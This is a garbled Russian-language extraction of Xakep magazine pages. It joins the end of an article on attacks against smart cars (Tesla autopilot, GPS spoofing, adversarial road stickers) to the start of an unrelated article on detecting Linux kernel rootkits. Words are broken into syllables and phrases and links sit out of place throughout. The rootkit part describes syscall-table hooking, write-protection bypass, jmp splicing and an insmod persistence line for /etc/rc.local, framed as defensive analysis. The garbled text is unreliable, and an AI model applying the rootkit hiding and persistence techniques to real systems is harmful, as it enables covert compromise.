ник новения  в  бор товую  сеть  авто моби ля  мож но  боль ше  не  ломать  голову,
как работа ют вмес те раз ные бло ки ECU, а сос редото чить ся на том, который
боль ше все го похож на  «авто пилот»,  и  тем или иным спо собом обма нывать
кон крет но его.

И  если  авто мобиль  ста новит ся  все  умнее,  если  он  уже  дав но  спо собен
самос тоятель но  пар ковать ся,  удер живать  ско рость  и  полосу  при  дви жении
по  авто магис тра ли,  готовить ся  к  тор можению,  ког да  машина  перед  ним
начина ет  сок ращать  дис танцию,  —  так  в  какой  же  момент  он  ста новит ся
само управля емым? И нас коль ко мож но ему доверять?

Это не  толь ко  тех ничес кий, но и философ ский воп рос. Прак тика показы‐ 
вает,  что  сов ремен ные  автопро изво дите ли  одновре мен но  рас хва лива ют
новые фун кции сво их про дук тов и стро го рекомен дуют водите лям не сни мать
руки с руля, а гла за не отво дить от дороги, что бы сох ранять воз можность лич‐ 
но  вме шать ся  в  неп редви ден ную  ситу ацию.  Увы,  точ но  так  же  прак тика
показы вает, что водите ли час то игно риру ют этот резон ный совет.

Продолжение статьи →

mailto:zinik.alexander@gmail.com
https://xakep.ru/2019/04/03/tesla-hack/
https://xakep.ru/2019/07/04/you-can/
https://xakep.ru/issues/xa/194/
https://ru.wikipedia.org/wiki/Controller_Area_Network
http://opengarages.org/handbook/
https://ru.wikipedia.org/wiki/GIGO
http://www.autosec.org/pubs/cars-oakland2010.pdf
http://www.autosec.org/pubs/cars-usenixsec2011.pdf
https://twitter.com/nudehaberdasher
https://twitter.com/0xcharlie
http://illmatics.com/car_hacking.pdf
https://ru.wikipedia.org/wiki/Tier-1-%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80%D1%8B
http://illmatics.com/Remote%20Car%20Hacking.pdf


КРЕПЧЕ ЗА БАРАНКУ
ДЕРЖИСЬ!

КТО И КАК ОБМАНЫВАЕТ «УМНЫЕ»
АВТОМОБИЛИ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Кто рулит «Тес лой»?
Вся кий раз, ког да мод ная «Тес ла» попада ет в ава рию, все гром ко обсужда ют
ее авто пилот или батареи, но куда мень ше вни мания уде ляют тому, что делал
водитель  перед  ава рией.  В  нес коль ких  реаль ных  слу чаях  отве том  было  «ел
бей глы»,  «смот рел  кино»  или  прос то  «за  час  езды  креп ко  дер жал  руль
не  доль ше  пары  минут».  Раз  за  разом  пов торя ется  прис кор бная  исто рия:
при езде в край нем левом ряду водитель перед «Тес лой» видит какое‐то пре‐ 
пятс твие,  ухо дит в пра вый ряд... и «Тес ла» начина ет раз гонять ся, думая, что
ей усту пают дорогу. Конец нем ного пред ска зуем. В августе это го года такой
инци дент про изо шел в Мос кве.

Иног да цена бага в сис теме такова. К счастью, в этом слу чае все оста ‐
лись живы

А слу чает ся такое из‐за осо бен ностей устрой ства и нас тро ек сен соров «Тес‐ 
лы». В ней не исполь зует ся лидар (лазер ный локатор) и пред варитель но заг‐ 
ружен ная  кар та  мес тнос ти  —  Илон  Маск  счи тает,  что  пер вый  слиш ком
дорогой, а вто рая не дает жела емой гиб кости.

«Тес ла» вмес то это го полага ется на показа ния радара и камеры, дан ные
с  которых  обра баты вает  ней росеть.  Но  радар  не  очень  хорош  в  рас позна‐ 
вании непод вижных пред метов, и, ког да он и камеры дают про тиво полож ные
резуль таты,  механизм  раз решения  про тиво речий,  быва ет,  выбира ет  неп‐ 
равиль но. А водитель не готов быс тро вме шать ся и спас ти ситу ацию.

Опас ный лай фхак
Не кото рые экспер ты утвер жда ют, что дело не толь ко в тех ничес ких нюан сах,
а  еще  и  в  том,  что  Илон  Маск  рек ламиру ет  свое  детище  как  пол ноцен ный
авто пилот. В инс трук ции к «Тес ле» написа но, что водитель дол жен быть всег‐ 
да  готов  взять ся  за руль, — но  в рек ламных роликах  сам Маск под чер кну то
наруша ет это пра вило и тем самым пода ет водите лям дур ной и опас ный при‐ 
мер.

В ито ге мно гие покупа тели «Тес лы» счи тают,  что  уже вла деют само управля‐ 
емым  авто моби лем,  в  который  зачем‐то  встро ена  надо едли вая  и  излишняя
сис тема,  тре бующая  касать ся  руля,  —  и  пыта ются  обма нуть  ее,  прик леив
скот чем  к  рулю  бутыл ку  с  водой  или  апель син.  Тоже  сво его  рода  взлом
и обход сис темы безопас ности.

СЕНСОРЫ: КАК РОБОТЫ ВИДЯТ МИР
При мер выше наг лядно показы вает, что сте пень «умности» машины зависит,
во‐пер вых,  от  количес тва  и  качес тва  уста нов ленных  на  ней  сен соров,
а  во‐вто рых  —  от  устрой ства  сис темы,  обра баты вающей  сиг налы  от  них.
Но каж дый сен сор — это тоже канал вво да дан ных, и у него могут быть свои
уяз вимос ти.

И здесь сно ва вста ет та же проб лема: при раз работ ке вни мание уде ляют
в основном слож ным слу чаям пов седнев ного исполь зования,  а  не про тиво‐ 
дей ствию  целенап равлен ным  помехам  и  ата кам.  И  очень  час то  алго рит мы
раз решения  кон флик тов  про тиво речи вых  сиг налов  прос то  не  рас счи таны
на то, что их будут обма нывать. Все как в ста рой доб рой науч ной фан тасти‐ 
ке — роботы умные, но довер чивые.

Еще в 2013 году хакер Зоз Брукс выс тупил с док ладом ( ) на кон ферен‐ 
ции DEF CON 21,  в  котором он очень под робно разоб рал пер спек тивы атак
на  авто ном ные  тран спортные  средс тва  —  вклю чая  само управля емые
машины, самоле ты‐дро ны и даже роботы‐под лодки.
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Он рас смот рел раз ные виды сен соров и каналов управле ния таких устрой‐ 
ств,  под робно  оста новив шись  на  силь ных  и  сла бых  сто ронах  каж дого,  —
и ука зал два общих для всех видов сен соров пути ата ки: глу шение (jamming)
и иска жение сиг нала (spoofing).

Док лад  полон  чрез вычай но  любопыт ных  под робнос тей.  В  нем  упо мина‐ 
ется  написан ное  на  араб ском  язы ке  пособие  по  безопас ности  (веро ятно,
матери алы какой‐нибудь зап рещен ной законо датель ством РФ груп пиров ки),
в  котором совету ют обма нывать лидары с помощью отра жате лей. Упо мина‐ 
ется  воз можность  обма нуть  счет чик  обо ротов  колес...  под менив  колеса —
при  раз мере  колес,  отличном  от  задан ного,  счет чик  будет  врать.  Рас смат‐ 
рива ются  сла бос ти  решений  с  исполь зовани ем  карт —  как  пред варитель но
заг ружен ных, так и обновля емых в реаль ном вре мени.

GPS: алло, я где?
Еще  в  док ладе  Брук са  мно го  говорит ся  об  иска жении  сиг нала GPS.  На  тот
момент  это  была  еще  мало изу чен ная,  но  уже  горячая  тема  —  ведь  пред‐ 
положи тель но  имен но  с  исполь зовани ем  обма на  GPS  кибер вой ска  Ира на
сумели   сек ретный стелс‐дрон США RQ‐170 Sentinel.зах ватить

Иран ские воен ные осматри вают добычу сво их хакеров

В наши дни эту   при меня ют пов сюду. В 2017 году двад цать кораб‐ 
лей  в  Чер ном  море  непода леку  от  Гелен джи ка  наб людали  откло нение
в  показа ниях GPS  боль ше  чем  на  25  мор ских  миль.  Точ но  так  же  стран ные
показа ния  навига торов  отме чают  порой  водите ли,  ког да  рядом  про носит ся
кор теж  высоко пос тавлен ных  лиц.  Впро чем,  в  свя зи  со  стре митель ным  уде‐ 
шев лени ем тех нологий SDR (Software Defined Radio, управля емые компь юте‐ 
ром ради опри емник и ради опе редат чик) такие воз можнос ти ста ли дос тупны
и час тным лицам.

тех нологию

Бук валь но  недав но  тех нологи чес кая  ком пания  Regulus,  занима ющаяся
решени ями  по  защите  спут никовой  навига ции  от  спу фин га,  ,  что
дос таточ но пары устрой ств и бюд жета в 600 дол ларов, что бы зас тавить Tesla
Model 3 ехать сов сем не туда, куда хочет водитель. Лож ный сиг нал зас тавля ет
авто пилот  думать,  буд то  он  идет  по  мар шру ту  и  уже  пора  сво рачи вать
с магис тра ли, — что при водит машину на обо чину или на встреч ную полосу.
Впро чем,  к  таким  ата кам  уяз вимы  любые  устрой ства  с  GPS —  дро ны,  нев‐ 
ниматель ные водите ли, доверя ющие навига торам, и даже игра Pokemon GO.

по каза ла

Ана лиз сис темы идет пол ным ходом

КИТАЙСКАЯ КОМНАТА: О ЧЕМ ДУМАЕТ АВТОПИЛОТ
Но это все раз говор о сен сорах. В  конеч ном сче те с ними и  так  все понят‐ 
но  —  про тив  лома  нет  при ема,  в  туман ную  или  пыль ную  погоду  камеры
и лидар хуже видят, а еще их мож но прос то зак леить скот чем или под ста вить
под  «зас ветку»  спе циаль ным  излу чате лем,  как    иссле дова тели
из лабора тории Qihoo 360. А как обсто ят дела у той час ти умно го авто моби ля,
которая поль зует ся их показа ниями? Мож но ли обма нуть ее?

де лали

Под робнее  всех  на  этот  воп рос  отве чают  китай ские  хакеры  из 
  Keen  Security  Lab,  спон сиру емой  мегакор пораци ей  Tencent.  Судя

по все му, они край не вни матель но изу чили все перечис ленные выше работы
и в 2016 году решили поп робовать свои силы в этой области. Но в отли чие
от Чар ли Мил лера и Кри са Веласе ка, которые инте ресо вались раз ными про‐ 
изво дите лями  и  моделя ми  авто моби лей,  эта  груп па  с  самого  начала  сос‐ 
редото чилась исклю читель но на иссле дова нии элек тро моби лей «Тес ла».

ла бора‐ 
тории
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Лю бопыт но  заметить,  что  Tencent  одновре мен но
и  акци онер  ком пании  Tesla,  и  спон сор  лабора‐ 
тории Keen Security Lab. Впро чем, над не свя зан‐ 
ными  с  «Тес лой»  про екта ми  в  лабора тории  тоже
работа ют.

Их док лады очень сухие и пол ны тех ничес ких под робнос тей, но, если вчи тать‐ 
ся, ста новит ся понят но, что самое инте рес ное в их иссле дова ниях — это не
внеш ние  про явле ния  «взло ма»,  а  объ ем  и  качес тво  про делан ной  работы  (а
так же  силь ное  чувс тво  дежавю  —  мно гие  уяз вимые  мес та,  которы ми  они
поль зовались,  зас тавля ют  вспом нить  работы  Чар ли  Мил лера  и  Кри са
Валасе ка и уди вить ся тому, что эти рецеп ты все еще акту аль ны).

Учас тни ки  коман ды  Keen  Security  Lab  ока зались  нас тоящи ми  мас терами
реверс‐инжи нирин га.  Для  того  что бы  в  2016  году  показать  откры вающий ся
по их коман де багаж ник «Тес лы» или сло жить ее зер кала, они прош ли дол гий
путь  —  исполь зование  «под став ной»  точ ки  дос тупа  Wi‐Fi  и  уяз вимос ти
в веб‐бра узе ре бор товой раз вле катель ной сис темы были толь ко началом.

Са мое  глав ное,  что,  про ник нув  через  эту  «дыр ку»  в  сис тему,  они  в  ито ге
переп рограм мирова ли  спе циаль ный  ком понент  Gateway  (мост  меж ду  раз‐ 
ными час тями бор товой сети) и таким обра зом получи ли дос туп к CAN‐шине.
Пос ле  это го  они  покопа лись  в  раз ных  кибер физичес ких  ком понен тах
машины — и в 2018 году выпус тили новый док лад о том, как сумели получить
«рутовый» дос туп к авто пило ту  (попут но обой дя улуч шенную пос ле их прош‐ 
лого док лада защиту). И вот уже пос ле это го они смог ли вни матель но изу чить
его устрой ство — об этом был их самый пос ледний док лад 2019 года ( ).PDF

За  счет  «рутово го»  дос тупа  им  уда лось  порабо тать  с  авто пило том
в режиме отладки, иссле довать, как имен но он обра баты вает дан ные с камер
и дру гих сен соров. В час тнос ти, они обна ружи ли, что сра зу нес коль ко задач:
отсле жива ние объ ектов,  пос тро ение  кар ты обста нов ки и даже обна руже ние
дож дя — на конеч ном эта пе обра баты вают ся одной ней росетью.

Ней росеть не любит шума
То,  что  иссле дова тели  из  Keen  Security  Lab  сде лали  даль ше,  выг лядит
доволь но  скуч но  (машина  вклю чает  двор ники,  ког да  нет  дож дя),  но  по  сути
сво ей  это  неч то  на  гра ни  искусс тва  и  науч ной  фан тасти ки.  Что бы  луч ше
разоб рать ся, как работа ет авто пилот в целом, они тре ниро вались на той час‐ 
ти ней росети, что рас позна ет, идет ли дождь, и дает коман ду вклю чить двор‐ 
ники. И добились резуль татов!

Изу чив изоб ражения, которые исполь зует ней росеть двор ников, они при‐ 
мени ли  к ней    «враж дебных образцов». Поверх фотог рафии с  камеры
нак ладыва ли  помехи,  которые  для  челове чес кого  гла за  выг лядят  несущес‐ 
твен но.  Подав  на  вход  ней росети  эту  фотог рафию,  иссле дова тели  смог ли
зас тавить ней росеть обма нуть ся — решить, что веро ятность дож дя высокая,
и вклю чить двор ники. И это все — не с ней росетью, которую они прог рамми‐ 
рова ли  сами,  а  с  ком мерчес ким  про дук том,  в  раз работ ке  которо го  они
не учас тво вали.

ме тод
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О том, как про вер нуть такой трюк самос тоятель‐ 
но,  читай  в  статье  «

».
Ис ходный  кот.  Как  зас тавить

ней рон ную сеть оши бить ся

Пос ле это го сот рудни ки Keen Security добились  того,  что для сра баты вания
эффекта дос таточ но было наложить шумы лишь на часть поля зре ния камеры.
А  потом  они  перенес ли  этот  эффект  в  реаль ный  мир.  Показы вая  кар тинку
с  шумом  на  экра не  телеви зора,  находя щего ся  в  поле  зре ния  камер  авто‐ 
моби ля,  они  зас тавля ли двор ники  вклю чить ся. Пос ле  это го они опро бова ли
те же прин ципы уже на задаче рас позна вания дорож ной раз метки.

Дис плей, который «видит» машина

Вы ясни лось,  что  нак лей ки  на  дороге  могут  сбить  авто пилот  с  тол ку  и  он
не заметит линию раз метки, — но эти нак лей ки будут вид ны нево ору жен ным
гла зом  (иссле дова тели  отме чают,  что  ней росеть‐авто пилот  нат рениро вана
в том чис ле и на при мерах с полус тертой или час тично прик рытой раз меткой).
Тог да  иссле дова тели  поп робова ли  обратную  задачу  —  с  помощью  дру гих,
куда мень ших  нак леек,  они  смог ли  зас тавить  ней росеть  уви деть  линии раз‐ 
метки там, где их не было. Нап ример — на перек рес тке, где такая несущес‐ 
тву ющая раз метка может вывес ти машину на полосу встреч ного дви жения.

Фаль шивая раз метка поч ти незамет на для гла за…

…но может обма нуть бес пилот ный авто мобиль

Ис сле дова тели утвер жда ют, что хоть они и выяс нили все это на авто моби ле,
к  которо му у них был неог раничен ный дос туп, но сами при емы дол жны сра‐ 
ботать  и  для  авто моби ля,  прог рамма  которо го  никак  не  менялась.  Пос ле
такого взло ма ней росети управле ние машиной с гей мпа да уже как‐то не так
впе чат ляет —  но  это  китай ские  иссле дова тели  тоже  про делы вали  со  взло‐ 
ман ной «Тес лой».

ЧЕЛОВЕЧЕСКОЕ, СЛИШКОМ ЧЕЛОВЕЧЕСКОЕ: ОГРАНИЧЕНИЯ
ТЕХНОЛОГИИ
В прин ципе,  все го  перечис ленно го  уже дос таточ но  для  некото рых  выводов.
Но для пол ноты кар тины хотелось бы упо мянуть еще нес коль ко вещей.

Об рати  вни мание  на  то,  что  круп ней шие  игро ки  на  рын ке  бес пилот ных
машин при дер жива ются решений с исполь зовани ем карт и обка тыва ют свои
про дук ты в кон крет ных городах  (а то и вов се на полиго нах). Это потому, что
так  авто пило ту  куда  лег че  сооб ражать:  кар ты  могут  вклю чать  в  себя  и  рас‐ 
положе ние дорож ных зна ков, и мес та повышен ной важ ности, и уж конеч но —
рель еф  мес тнос ти,  извес тные  прег рады  и  прос то  схе му  дви жения.  Не  зря
работу  над  рос сий ским  ана логом  гуг лов ско го Waymo  ведет  под разде ление
«Яндекса» —  огромный  мас сив  карт  и  панорам  будет  здесь  боль шим  под‐ 
спорь ем. А ори енти рова ние  в  абсо лют но нез накомой мес тнос ти  пока оста‐ 
ется уде лом победи телей кон курсов DARPA и амби циоз ных стар таперов.

Пом ни  и  о  том,  что  за  исклю чени ем  отдель ных  рек ламных  образцов
во  мно гих  бес пилот ных  авто моби лях  за  рулем  всег да  при сутс тву ет 

  водитель.  И  про изво дите ли  не  спе шат  раз гла шать  ста тис тику
слу чаев,  ког да  его  вме шатель ство  ста новит ся  необ ходимо.  Потому  что
это про исхо дит чаще, чем им хотелось бы.

страхующий

Уров ни авто ном ности
Аме рикан ское Сооб щес тво авто мобиль ных инже неров (SAE) опре деля ет сте‐ 
пень авто ном ности тран спортно го средс тва по шка ле от 0 до 5. По этой шка‐ 
ле «Тес ла» оце нива ется как пред ста витель   — авто мати ка управля‐ 
ет  ско ростью  и  нап равле нием,  но  водитель  дол жен  быть  готов  вме шать ся
в любое мгно вение. Кста ти, обыч ный помощ ник при пар ковке тоже попада ет
в эту катего рию.

уров ня 2

Сле дующий,   под разуме вает пол ный кон троль авто мати‐ 
ки за тран спортным средс твом — но толь ко в жес тко огра ничен ных усло виях,
нап ример на ско рос тной авто магис тра ли, где нет перек рес тков.

тре тий уро вень

  теоре тичес ки  не  тре бует  при сутс твия  челове ка  за  рулем —
но тоже толь ко в стро го опре делен ных усло виях, вро де дви жения в пре делах
пред варитель но  задан ной  области.  Авто моби ли  Waymo  находят ся  на  этом
уров не.

Уро вень 4

  —  ког да  человек  окон чатель но  прев раща ется  в  пас‐ 
сажира, а машина спо соб на на дви жение в неог раничен ных усло виях — пока
не дос тижим ни для одно го из про ектов.

Пя тый  уро вень

КАК ПЕРЕСТАТЬ БЕСПОКОИТЬСЯ И ПОЛЮБИТЬ «УМНУЮ» МАШИНУ
Так  что  же  получа ется  в  ито ге?  Да  то  же  самое,  что  и  с  мно гими  дру гими
пред ста вите лями  «интерне та  вещей».  Чем  выше  слож ность  сис темы,  тем
боль ше у нее потен циаль но уяз вимых мест, а самые защищен ные эле мен ты
мож но  обой ти,  ата ковав  более  уяз вимые.  Заимс твуя  готовые  решения
из смеж ных областей элек тро ники, про екти ров щики забыва ют о том, что там
могут быть свои проб лемы. И наконец, челове чес кий фак тор — бди тель ность
при туп ляет ся, ког да сис тема мно гок ратно справ ляет ся с прос тыми задача ми,
и к ее ошиб ке в слож ной ситу ации ник то не готов.

Будь бди телен и осто рожен — за рулем и в интерне те. Не ругай роботов
понап расну — они еще толь ко учат ся, — но и не доверяй им в кри тич но и жиз‐ 
ненно важ ных вещах на все сто.

А если пос ле проч тения этой статьи тебе захоте лось не пересесть в ста‐ 
рые  «Жигули»  без  всей  этой  элек тро ники,  а  наобо рот,  разоб рать ся  в  ней
на собс твен ном опы те — можешь поп робовать обра тить вни мание на про ект
Джор джа Хоца  . Это авто пилот для авто моби ля с пол ностью откры‐ 
тым кодом и срав нитель но дешевой элек трон ной частью, которую мож но лег‐ 
ко уста новить во мно гие сов ремен ные машины. Вый дет зна читель но дешев ле
«Тес лы» и  куда инте рес нее —  к  тво им  услу гам обширное сооб щес тво  энту‐ 
зиас тов,  своя  вики  и  под робный и  инте рес ный блог  раз работ чиков. И  даже
не при дет ся дер жать на руле руки.

comma.ai

Но смот реть  на дорогу  впе реди и думать,  что дела ешь,  все рав но необ‐ 
ходимо.

https://www.defcon.org/images/defcon-21/dc-21-presentations/Zoz/DEFCON-21-Zoz-Hacking-Driverless-Vehicles.pdf
https://en.wikipedia.org/wiki/Iran%E2%80%93U.S._RQ-170_incident
https://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D1%83%D1%84%D0%B8%D0%BD%D0%B3#GPS-Spoofing
https://www.regulus.com/blog/tesla-model-3-spoofed-off-the-highway-regulus-researches-hack-navigation-system-causing-car-to-steer-off-road/
https://www.wired.com/2016/08/hackers-fool-tesla-ss-autopilot-hide-spoof-obstacles/
https://keenlab.tencent.com/en/
https://keenlab.tencent.com/en/whitepapers/Experimental_Security_Research_of_Tesla_Autopilot.pdf
https://nplus1.ru/news/2017/11/03/adversarial-example
https://xakep.ru/2019/07/19/source-cat/
https://comma.ai/
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ВЗЛОМ

Уже дав но (как минимум с   года) извес тно, что для Linux
сущес тву ют  вре донос ные  прог раммы,  хотя  и  слыш но  о  них
не  так  час то,  как  про  вин довые.  Тем  не менее  даже  спус тя
двад цать с лиш ним лет рут киты на осно ве модулей ядра все
еще  пред став ляют  впол не  реаль ную  угро зу.  Нес мотря
на  столь  боль шой  срок,  наибо лее  час тым  советом
при  зараже нии  «ядер ным»  рут китом  до  сих  пор  оста ется
пол ная  пере уста нов ка  сис темы.  Неуже ли  нель зя  без  это го
обой тись? Иног да мож но.

1997

КАКИЕ БЫВАЮТ РУТКИТЫ ДЛЯ LINUX
Рут киты помога ют зло умыш ленни ку зак репить дос туп ко взло ман ной сис теме,
при этом акцент сде лан на мак сималь ной незамет ности вре доно са. Для это‐ 
го они скры вают сетевые соеди нения, про цес сы, пап ки, фай лы, под делыва ют
их содер жимое. Обыч но рут кит несет в себе хакер ские ути литы для управле‐ 
ния  заражен ной  машиной,  с  помощью  которых  зло дей  может  уста новить
и  пря тать  в  сис теме    или  май нер  (кста ти,  один  такой,  ,
обна ружи ли  срав нитель но  недав но).  Чаще  все го  в  эти  ути литы  вхо дят  бэк‐ 
доры,  и  не  толь ко  те,  что  мож но  зап росто  обна ружить  внеш ним  ска нером
пор тов, а исполь зующие тех нологию   (что‐то вро де «прос тукива‐ 
ния  пор тов»),  ког да  порт  откры вает ся  толь ко  пос ле  пра виль ной  и  заранее
опре делен ной пос ледова тель нос ти зап росов к зак рытым пор там.

DDoS‐бота Skidmap

Port knocking

Тра дици онно  все  рут киты  делят  на  работа ющие  в  прос транс тве  поль‐ 
зовате ля  и  работа ющие  в  прос транс тве  ядра.  Про тив  пер вых  уже  есть  ути‐ 
литы,  спо соб ные  обна ружить  мно гие  из  них:  ,  , 
и про ект с незамыс ловатым наз вани ем  . Поэто му  «ядер‐ 
ные» рут киты, которые слож нее обна ружить непос редс твен но на заражен ной
сис теме, пред став ляют боль ший инте рес, хотя часть из них эти ути литы тоже
могут выявить (но не уда лить).

chkrootkit rkhunter Antidoto
linux‐malware‐detect

Рут киты уров ня ядра в Linux, как пра вило, реали зуют ся в виде заг ружа емых
модулей ядра (LKM, Loadable Kernel Modules), но есть еще более экзо тичес‐ 
кие  спо собы:  вре донос ный  код  записы вает ся  пря мо  в  память  ядра  через
файл  устрой ства    или  внед ряет ся  на  ран них  эта пах  заг рузки
с модифи каци ей   (если ты зна ком с такими рут китами, дай знать —
попада ются  толь ко  теоре тичес кие  опи сания,  а  най ти  образцы  мне  не  уда‐ 
лось).  Сей час,  впро чем,  о  слу чаях  зараже ния  «ядер ными»  рут китами  пишут
нечас то,  но  все  тот  же  недав но  выяв ленный  Skidmap  говорит  о  том,  что
об этой угро зе забывать не сто ит.

/dev/kmem
initrafms

INFO

Заг ружа емые модули ядра  ( , до ядра 2.6 —
) поз воля ют динами чес ки рас ширять фун кци‐ 

ональ ность  ядра  без  необ ходимос ти  переком‐ 
пилиро вать  его  целиком.  Очень  полез ный
механизм  для  повыше ния  гиб кости  сис темы
и  очень  под ходящий  для  соз дания  рут китов,
которые  обла дали  бы  мак сималь но  воз можны ми
при виле гиями.

*.ko
*.o

ЖИЗНЕННО ВАЖНЫЕ ЗАДАЧИ КАЖДОГО РУТКИТА
В ядре име ется мно жес тво  струк тур,  опи сыва ющих  текущее  сос тояние  сис‐ 
темы. Нап ример, это спи сок запущен ных про цес сов, сос тоящий из  ука зате‐ 
лей на дес крип торы про цес сов, который исполь зует ся пла ниров щиком. Дру‐ 
гой важ ный объ ект — спи сок заг ружен ных модулей ядра, где каж дый эле мент
ука зыва ет на дес крип тор заг ружен ного модуля. Он исполь зует ся коман дами,
опе риру ющи ми LKM:  ,  ,   и подоб ными. Эти спис ки отно‐ 
сят ся ко внут ренним объ ектам ядра.

lsmod rmmod modprobe

Вся кий  вре донос ный модуль  пер вым  делом  уда ляет  себя  из  спис ка  заг‐ 
ружен ных модулей, ведь если LKM в нем не опи сан, то ядро счи тает, что такой
модуль не заг ружен. Это зна чит, что он не отоб разит ся в выводе   и не
будет  выг ружен  с  помощью  .  Такая  тех ника  называ ется  манипу лиро‐ 
вани ем  внут ренни ми  объ екта ми  ядра  (DKOM,  Direct  Kernel  Object Manipula‐
tion) и под робно опи сана в  .

lsmod
rmmod

статье на Хаб ре
Так же любой хороший рут кит заботит ся о том, как остать ся в строю пос ле

переза пус ка  сис темы.  Нап ример,  ,  обна ружен ный  в  2012  году,
для  это го  про писы вает  коман ду  заг рузки  модуля  в  , 
пред почита ет  файл  ,  а    в  зависи мос ти  от  целевой
сис темы может исполь зовать и  , и  . Skidmap
вно сит  раз нооб разие  в  этот  спи сок  и  зак репля ется  в  сце нари ях  пла ниров‐ 
щика задач cron. Вооб ще, для этой цели могут подой ти и дру гие фай лы, вли‐ 
яющие  на  заг рузку  Linux,  в  том  чис ле  заг рузоч ные  скрип ты.  Далее  будем
называть такие фай лы фай лами авто заг рузки.

Snakso
/etc/rc.local rkduck

/etc/rc.modules Reptile
/etc/rc.modules /etc/modules

INFO

  содер жит  коман ды,
которые  необ ходимо  выпол нить  при  запус ке
сис темы. Рут киты добав ляют туда коман ду 

.

•/etc/rc.local

in­
smod <путь к вредоносному LKM>

  содер жит  спи сок
модулей  ядра,  которые  нуж но  заг рузить
при запус ке — на более ран нем эта пе заг рузки
ОС,  чем  при  исполь зовании 

.  Дан ный  файл  харак терен  для  RPM‐
дис три бути вов.

•/etc/rc.modules

/etc/rc.
local

  так же  содер жит  спи сок
модулей, но исполь зует ся в deb‐сис темах.

•/etc/modules

И все вро де бы прос то: про веряй содер жимое этих фай лов на подоз ритель‐ 
ные стро ки,  и  в  тво ей сис теме все будет  хорошо. Но рут кит не рут кит,  если
не скры вает еще и что эти фай лы модифи циро ваны. Он может перех ватывать
сис темные вызовы и даже фун кции самого ядра, которые за эти ми вызова ми
сто ят:  нап ример,  Snakso  и  Reptile  перех ватыва ют  фун кции  фай ловой  под‐ 
систе мы  ядра  VFS  (Virtual  File  System).  Рут киты  про веря ют,  было  ли  сре ди
про читан ного что‐то, что необ ходимо скрыть от глаз поль зовате ля или адми‐ 
нис тра тора, и при необ ходимос ти модифи циру ют буфер со счи тан ными дан‐ 
ными.

И  ког да  ничего  не  подоз рева ющий  (или  подоз рева ющий)  поль зователь
попыта ется  прос мотреть  содер жимое модифи циро ван ного рут китом фай ла,
уви дит  он  толь ко  спи сок  впол не  легитим ных  модулей  или  команд.  Имен но
это  ста новит ся  проб лемой  при  попыт ке  обна ружить  рут кит,  работая
за  заражен ной машиной.  Вооб ще  говоря,  при  зараже нии  рут китами  уров ня
ядра не сто ит верить ничему из того, что сооб щает нам ядро.

МАТЧАСТЬ: КАК LKM-РУТКИТЫ ЗАМЕТАЮТ СЛЕДЫ
Преж де  чем  прис тупать  к  борь бе  с  вре донос ными  модуля ми,  нуж но  более
деталь но разоб рать механиз мы, с помощью которых они скры вают ся в сис‐ 
теме  сами  и  скры вают  сво их  про теже,  —  что бы  знать,  с  чем  кон крет но
бороть ся.

Пе рех ват сис темных вызовов и фун кций
Этот  шаг  необ ходим  рут киту  для  пос леду ющих  дей ствий.  Перех ват  (hook)
фун кций ядра и перех ват сис темных вызовов мало чем отли чают ся и поз воля‐ 
ют  выпол нять  рут киту  свои  фун кции  под  видом  перех вачен ных,  про водя
для  мас киров ки  дан ных  про вер ки.  Вари антов  перех вата  не  так  мно го:  либо
под менить  адрес  фун кции,  либо  уста новить  в  самом  ее  коде  инс трук цию
безус ловно го перехо да  .jmp

Ин форма цию о мес тонахож дении кода сис темных фун кций и вызовов ядро
берет из двух таб лиц: сим воль ной таб лицы ядра   (отку да при заг‐ 
рузке  экспор тиру емые  фун кции  ядра  отоб ража ются  в  псев дофайл 

  и  таб лицы  syscall’ов  ,  адрес  которой  есть
в  .

System.map

)/proc/kallsyms sys_call_table
System.map

INFO

Об работ чики сис темных вызовов, рас положен ные
в ядре, называ ются по име ни сис темно го вызова
с  прис тавкой  :  за  вызовом    сто ит
фун кция  ядра  ,  то  же  вер но
для  всех  осталь ных  вызовов.  Это  дает  воз‐ 
можность  перех ватывать  не  толь ко  syscall,  но  и
его обра бот чик, ведь пос ледний так же находит ся
в  .

sys_ open()
sys_open()

System.map

Ког да  най ден  адрес  нуж ной  фун кции,  рут кит  заменя ет  его  адре сом  сво ей
фун кции.  Таб лица  сис темных  вызовов  находит ся  в  защищен ной  области
памяти, помечен ной толь ко для чте ния в регис тре   (x86), но это огра ниче‐ 
ние — ерун да для рут кита  уров ня ядра,  ведь есть  ,  с  помощью
которой  оно  .  Замена  адре са  самой  таб лицы  воз можна,
но мне пока не встре чалась.

CR0
write_cr0()

лег ко  обхо дит ся

Дру гой вари ант, получив ший наз вание сплай синг  (от англ.  splice — стык,
склей ка),  зак люча ется  в  уста нов ке инс трук ции    в  коде фун кции  и  выпол‐ 
няет ся оди нако во для сис темных фун кций и syscall’ов. Как пра вило, перепи‐ 
сыва ются  пер вые  пять  байт  про лога  фун кции,  которых  дос таточ но  для  раз‐ 
мещения опко да   и адре са перехо да. Ори гиналь ные бай ты про лога сох‐ 
раня ются,  что бы  была  воз можность  кор рек тно  выз вать  перех вачен ную фун‐ 
кцию. Одна ко умный хакер может зна читель но усложнить задачу белым шля‐ 
пам, раз мещая хук не в начале перех ватыва емой фун кции, а где‐нибудь в ее
середи не.

jmp

0xe9

Вне  зависи мос ти  от  выб ранно го  спо соба,  ког да  прог рамма  вызыва ет
перех вачен ную  фун кцию,  управле ние  перехо дит  к  вре донос ной,  которая
вызыва ет ори гиналь ную, про веря ет резуль тат ее выпол нения и модифи циру‐ 
ет  его  в  слу чае  надоб ности.  Вызывав шая  прог рамма  получит  уже  модифи‐ 
циро ван ные дан ные, совер шенно не догады ваясь об этом.

Мас киров ка фай лов и их содер жимого
На самом деле еще и папок, ведь со вре мен Unix в Linux дей ству ет филосо‐ 
фия «все есть файл». Для этой задачи вре донос ные LKM перех ватыва ют фун‐ 
кции фай ловой под систе мы ядра VFS, в пер вую оче редь  . Пос ле
ее выпол нения рут кит прос матри вает проч тенные дан ные в поис ках того, что
нуж но скрыть от поль зовате ля.

vfs_read()

К  при меру,  Reptile  ищет  в  буфере    свои  теги  (по  умол чанию
это   и зак рыва ющий в пару к нему) и уда ляет отту да их, а так же все,
что меж ду ними. Что бы спря тать фай лы и пап ки, рут киты про веря ют лис тинг
дирек тории  на  задан ные  заранее  име на  и  при  сов падении  уби рают  их.
При этом они не всег да перех ватыва ют обра щения к скры тым пап кам, и, зная
